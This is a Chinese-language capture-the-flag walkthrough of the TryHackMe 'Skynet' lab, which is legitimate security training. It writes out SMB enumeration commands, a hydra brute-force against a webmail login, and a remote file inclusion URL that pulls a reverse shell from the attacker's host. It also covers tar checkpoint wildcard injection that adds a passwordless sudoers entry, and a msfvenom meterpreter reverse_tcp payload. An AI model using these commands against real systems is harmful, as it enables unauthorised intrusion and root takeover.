TryHackMe系列之Skynet
信息收集
有smb服务,以及22、80端口
shell获取
打开80端口,啥也没有
用diresearch扫描,发现目录/squirrelmail
访问:
smb服务信息收集
使用nmap进一步扫描smb共享文件和用户
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.107.164
查看anonymous文件:
smbclient //10.10.107.164/anonymous
刚刚开始直接下logs文件夹,但是里面的内容没有下完整有密码的log1.txt文件没有下下来,不然我应该可以自己做到更后面的步骤。
直接用以下命令下载:
smbget -R smb://10.10.107.164/anonymous
可以看到log1.txt里是几串疑似密码的字符串:
hydra爆破登入
用hydra拿它做爆破字典用,怀疑账号管理员是是milesdyson,因为smb的用户是它,并且attention.txt文件的留言人是Miles Dyson:
hydra -l milesdyson -P /root/logs/log1.txt 10.10.107.164 http-post-form '/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect'
拿到账号密码登入
点击第一个password reset,一眼重要信息:
明确告诉是smb的登入密码,登入smb用户的格式:
smbclient -U milesdyson //10.10.107.164/milesdyson
渗透刷题就是积累感觉看到一些文件名,要有反应,管理员的note笔记文件夹肯定要看
找到important.txt文件,下载到本机
根据后面两条信息看应该是备忘录,第一条信息应该是给未完成的页面增加功能,beta是正在测试未发行的意思,访问:
没有信息就扫描,因为指明了这个是一个未开发完成的cms管理系统
没想着会被找到,因此管理后台没有更改名字,访问:
小众的cms系统,用searchsploit找找脚本:
远程文件包含漏洞
文件包含漏洞包含本地文件叫本地文件包含漏洞,但可以包含远程漏洞
思路:在本地开启http服务,root文件夹下放置反弹shell文件让其包含它,访问网址:
http://10.10.107.164/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.6.51.213/reverse.php
# 格式:http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
开启监听可以拿到shell:(一定要检查脚本命令,有个双引号变中文了,找了我20分钟原因)
提权
法一:tar命令提权(小众)
这种提权还是不好想,不是每个人都会利用,但也是个思路
拿到shell后可以考虑该系统上的一些定时文件,linux上是在/etc/crontab里:
backup.sh文件每分钟都在运行,看到这想到以前做过的替换文件,以为这也是同样的思路,但是:
可以看到虽然是用root权限执行,但是我们普通用户是没有往backups文件夹写入权限的,也即是我们没法做到替换。
查看内容,它将靶机运行的网站一直备份
tar 允许使用 2 个可用于中毒的选项,以强制二进制文件执行意外操作:
- checkpoint[=NUMBER] — 此选项每 NUMBER 条记录显示进度消息(默认值为 10)
- checkpoint-action=ACTION — 此选项在每个检查点上执行所述操作
利用:
在当前目录下创建一个名为 sudo.sh 的文件,并将
echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
这段文本写入到文件中。这段文本的作用是向 /etc/sudoers 文件添加一条规则,允许用户 www-data 在执行 sudo 时无需输入密码!!!!!!
记得在/var/www/html文件操作:
echo 'echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > sudo.sh
touch "/var/www/html/--checkpoint-action=exec=sh sudo.sh"
touch "/var/www/html/--checkpoint=1"
/etc/sudoers文件
/etc/sudoers
是一个特殊的系统文件,用于配置 sudo 命令的行为。sudo 是一种允许普通用户以超级用户(root)的权限执行命令的机制。/etc/sudoers
文件中包含了授权给不同用户或用户组的 sudo 权限规则。每一行的语法为语法 用户 主机=(执行命令的用户) 命令 再次执行sudo su即可提权。
法二:meterpreter提权
PEASS_ng工具
信息收集的神,自动列出可利用的列表和相关CVE漏洞!!!
老方法利用反弹的shell下载本机的msf反弹shell获得meterpreter_shell
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.6.51.213 LPORT=7777 -f elf > mshell.elf
msfconsole -qx 'use exploit/multi/handler;set payload linux/x64/meterpreter/reverse_tcp;set lhost 10.6.51.213;set lport 7777;run'
然后下载https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
专门针对linux的分析工具,用meterpreter上传linPEA,赋予权限后直接运行。
CVE-2021-4034漏洞
可以直接推荐cve漏洞,这里选择CVE-2021-4034
不管什么时候msfconsole都十分的方便,其他几个漏洞特别是什么UAF cve真玩不了,复现也要看水准。。。